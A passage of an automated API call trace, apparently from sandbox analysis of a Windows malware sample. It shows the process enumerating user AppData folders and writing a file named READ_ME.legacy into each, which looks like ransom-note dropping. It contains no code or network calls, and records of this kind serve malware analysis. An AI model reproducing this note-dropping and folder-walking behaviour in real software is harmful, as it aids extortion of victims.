out: hHeap=0x520000) returned 1 [0140.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.790] GetLastError () returned 0x0 [0140.790] SetLastError (dwErrCode=0x0) [0140.790] GetLastError () returned 0x0 [0140.790] SetLastError (dwErrCode=0x0) [0140.790] GetLastError () returned 0x0 [0140.790] SetLastError (dwErrCode=0x0) [0140.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fca8 [0140.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fca8 | out: hHeap=0x520000) returned 1 [0140.791] FindNextFileW (in: hFindFile=0x60bdd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6af9ef0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6af9ef0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6af9ef0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0140.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0140.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0140.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0140.791] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c318 [0140.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.791] GetLastError () returned 0x12 [0140.791] SetLastError (dwErrCode=0x12) [0140.791] GetLastError () returned 0x12 [0140.791] SetLastError (dwErrCode=0x12) [0140.791] GetLastError () returned 0x12 [0140.791] SetLastError (dwErrCode=0x12) [0140.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0140.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0140.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6100e0 [0140.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c0d8 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0d8 | out: hHeap=0x520000) returned 1 [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6100e0 | out: hHeap=0x520000) returned 1 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.792] FindNextFileW (in: hFindFile=0x60c318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.792] GetLastError () returned 0x12 [0140.792] SetLastError (dwErrCode=0x12) [0140.792] GetLastError () returned 0x12 [0140.792] SetLastError (dwErrCode=0x12) [0140.792] GetLastError () returned 0x12 [0140.792] SetLastError (dwErrCode=0x12) [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c0d8 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0d8 | out: hHeap=0x520000) returned 1 [0140.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0140.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff78 | out: hHeap=0x520000) returned 1 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.793] FindNextFileW (in: hFindFile=0x60c318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6b20057, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6b20057, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.793] GetLastError () returned 0x12 [0140.793] SetLastError (dwErrCode=0x12) [0140.793] GetLastError () returned 0x12 [0140.793] SetLastError (dwErrCode=0x12) [0140.793] GetLastError () returned 0x12 [0140.793] SetLastError (dwErrCode=0x12) [0140.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610040 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610040 | out: hHeap=0x520000) returned 1 [0140.793] FindNextFileW (in: hFindFile=0x60c318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6b20057, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6b20057, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d768 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b30 | out: hHeap=0x520000) returned 1 [0140.793] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c358 [0140.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.794] GetLastError () returned 0x12 [0140.794] SetLastError (dwErrCode=0x12) [0140.794] GetLastError () returned 0x12 [0140.794] SetLastError (dwErrCode=0x12) [0140.794] GetLastError () returned 0x12 [0140.794] SetLastError (dwErrCode=0x12) [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fdc0 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bc58 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc58 | out: hHeap=0x520000) returned 1 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fdc0 | out: hHeap=0x520000) returned 1 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.794] FindNextFileW (in: hFindFile=0x60c358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.794] GetLastError () returned 0x12 [0140.794] SetLastError (dwErrCode=0x12) [0140.794] GetLastError () returned 0x12 [0140.794] SetLastError (dwErrCode=0x12) [0140.794] GetLastError () returned 0x12 [0140.795] SetLastError (dwErrCode=0x12) [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610108 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c0d8 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0d8 | out: hHeap=0x520000) returned 1 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610108 | out: hHeap=0x520000) returned 1 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.795] FindNextFileW (in: hFindFile=0x60c358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Java", cAlternateFileName="")) returned 1 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.795] GetLastError () returned 0x12 [0140.795] SetLastError (dwErrCode=0x12) [0140.795] GetLastError () returned 0x12 [0140.795] SetLastError (dwErrCode=0x12) [0140.795] GetLastError () returned 0x12 [0140.795] SetLastError (dwErrCode=0x12) [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6100e0 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5856b0 [0140.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.796] GetLastError () returned 0x12 [0140.796] SetLastError (dwErrCode=0x12) [0140.796] GetLastError () returned 0x12 [0140.796] SetLastError (dwErrCode=0x12) [0140.796] GetLastError () returned 0x12 [0140.796] SetLastError (dwErrCode=0x12) [0140.796] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0140.796] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0140.796] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0140.796] WriteFile (in: hFile=0x764, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.797] CloseHandle (hObject=0x764) returned 1 [0140.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5856b0 | out: hHeap=0x520000) returned 1 [0140.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0140.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0140.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0140.797] FindNextFileW (in: hFindFile=0x60c358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6b20057, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6b20057, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.797] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.797] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.797] GetLastError () returned 0x0 [0140.797] SetLastError (dwErrCode=0x0) [0140.797] GetLastError () returned 0x0 [0140.797] SetLastError (dwErrCode=0x0) [0140.798] GetLastError () returned 0x0 [0140.798] SetLastError (dwErrCode=0x0) [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff78 | out: hHeap=0x520000) returned 1 [0140.798] FindNextFileW (in: hFindFile=0x60c358, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6b20057, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6b20057, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6b20057, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dbe0 | out: hHeap=0x520000) returned 1 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bf8 | out: hHeap=0x520000) returned 1 [0140.798] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6c9d6c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c0d8 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.798] GetLastError () returned 0x12 [0140.798] SetLastError (dwErrCode=0x12) [0140.798] GetLastError () returned 0x12 [0140.798] SetLastError (dwErrCode=0x12) [0140.798] GetLastError () returned 0x12 [0140.798] SetLastError (dwErrCode=0x12) [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd98 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd98 | out: hHeap=0x520000) returned 1 [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fe38 [0140.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c158 [0140.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c158 | out: hHeap=0x520000) returned 1 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fe38 | out: hHeap=0x520000) returned 1 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.799] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6c9d6c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.799] GetLastError () returned 0x12 [0140.799] SetLastError (dwErrCode=0x12) [0140.799] GetLastError () returned 0x12 [0140.799] SetLastError (dwErrCode=0x12) [0140.799] GetLastError () returned 0x12 [0140.799] SetLastError (dwErrCode=0x12) [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd40 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd40 | out: hHeap=0x520000) returned 1 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c398 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff78 | out: hHeap=0x520000) returned 1 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.799] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0140.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.799] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.800] GetLastError () returned 0x12 [0140.800] SetLastError (dwErrCode=0x12) [0140.800] GetLastError () returned 0x12 [0140.800] SetLastError (dwErrCode=0x12) [0140.800] GetLastError () returned 0x12 [0140.800] SetLastError (dwErrCode=0x12) [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610040 [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x585628 [0140.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.800] GetLastError () returned 0x12 [0140.800] SetLastError (dwErrCode=0x12) [0140.800] GetLastError () returned 0x12 [0140.800] SetLastError (dwErrCode=0x12) [0140.800] GetLastError () returned 0x12 [0140.800] SetLastError (dwErrCode=0x12) [0140.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5852f8 [0140.800] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 